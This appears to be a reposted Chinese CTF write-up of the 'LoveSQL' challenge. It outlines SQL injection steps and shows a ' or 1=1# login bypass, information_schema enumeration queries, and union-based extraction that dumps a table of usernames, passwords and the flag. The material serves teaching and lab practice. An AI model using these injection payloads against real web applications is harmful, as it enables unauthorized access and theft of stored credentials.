作者:火山哥哥5237 | 来源:互联网 | 2023-08-24 09:12
篇首语:本文由编程笔记#小编为大家整理,主要介绍了[极客大挑战 2019]LoveSQL 1(SQL注入)相关的知识,希望对你有一定的参考价值。
一、SQL注入的流程
- ①判断是否有注入点(判断是否未严格校验)
- 可控参数的改变是否能影响页面的显示效果
- 输入的
SQL
语句是否能报错(通过数据库的报错,我们能 猜测 数据库的查询语句是如何拼接的) - 输入的
SQL
语句能否不报错(其实就是检查我们的语句能否成功闭合)
- ②什么类型的注入
- ③语句是否能被恶意修改
- ④是否能够成功执行
- ⑤通过注入获取我们需要的数据
系统的一些信息,我们通过这些信息能够获取到其他表的信息:
select database();
select table_name from information_schema.tables where table_schema=database() ;
select column_name from information_schema.columns where table_schema=database() and table_name='user';
二、实践
首先我们能看到这个页面,然后我们先使用万能密码登陆试试,我们会发现,当我们输入 " or 1=1#
会显示
但是输入' or 1=1#
的时候我们直接登陆了,说明存在单引号注入
然后我们通过手动二分的方式查询列数:
http:
如果是找到比三大的数字的话,,例如
4
4
4
知道列数之后,我们直接联合查表就好啦
http:
然后我们查一下两个表分别有哪些列,看看flag
可能在哪,对于第一个表geekuser
我们查出来有三列:
然后我们看第二张表,我们发现列是相同的:
然后我们查询第一张表的元素,我们发现只有一行信息
http:
同理查询第二张表,我们能得到如下信息:
http:
我们 copy
下来能得到:
1:cl4y:wo_tai_nan_le,2:glzjin:glzjin_wants_a_girlfriend,3:Z4cHAr7zCr:biao_ge_dddd_hm,4:0xC4m3l:linux_chuang_shi_ren,5:Ayrain:a_rua_rain,6:Akko:yan_shi_fu_de_mao_bo_he,7:fouc5:cl4y,8:fouc5:di_2_kuai_fu_ji,9:fouc5:di_3_kuai_fu_ji,10:fouc5:di_4_kuai_fu_ji,11:fouc5:di_5_kuai_fu_ji,12:fouc5:di_6_kuai_fu_ji,13:fouc5:di_7_kuai_fu_ji,14:fouc5:di_8_kuai_fu_ji,15:leixiao:Syc_san_da_hacker,16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf
,稍微做一下格式处理可以得到:
1:cl4y:wo_tai_nan_le
2:glzjin:glzjin_wants_a_girlfriend
3:Z4cHAr7zCr:biao_ge_dddd_hm
4:0xC4m3l:linux_chuang_shi_ren
5:Ayrain:a_rua_rain
6:Akko:yan_shi_fu_de_mao_bo_he
7:fouc5:cl4y
8:fouc5:di_2_kuai_fu_ji
9:fouc5:di_3_kuai_fu_ji
10:fouc5:di_4_kuai_fu_ji
11:fouc5:di_5_kuai_fu_ji
12:fouc5:di_6_kuai_fu_ji
13:fouc5:di_7_kuai_fu_ji
14:fouc5:di_8_kuai_fu_ji
15:leixiao:Syc_san_da_hacker
16:flag:flaga2b45632-fcff-472c-8cee-90a7d432a0cf
这里我们就找到了 flaga2b45632-fcff-472c-8cee-90a7d432a0cf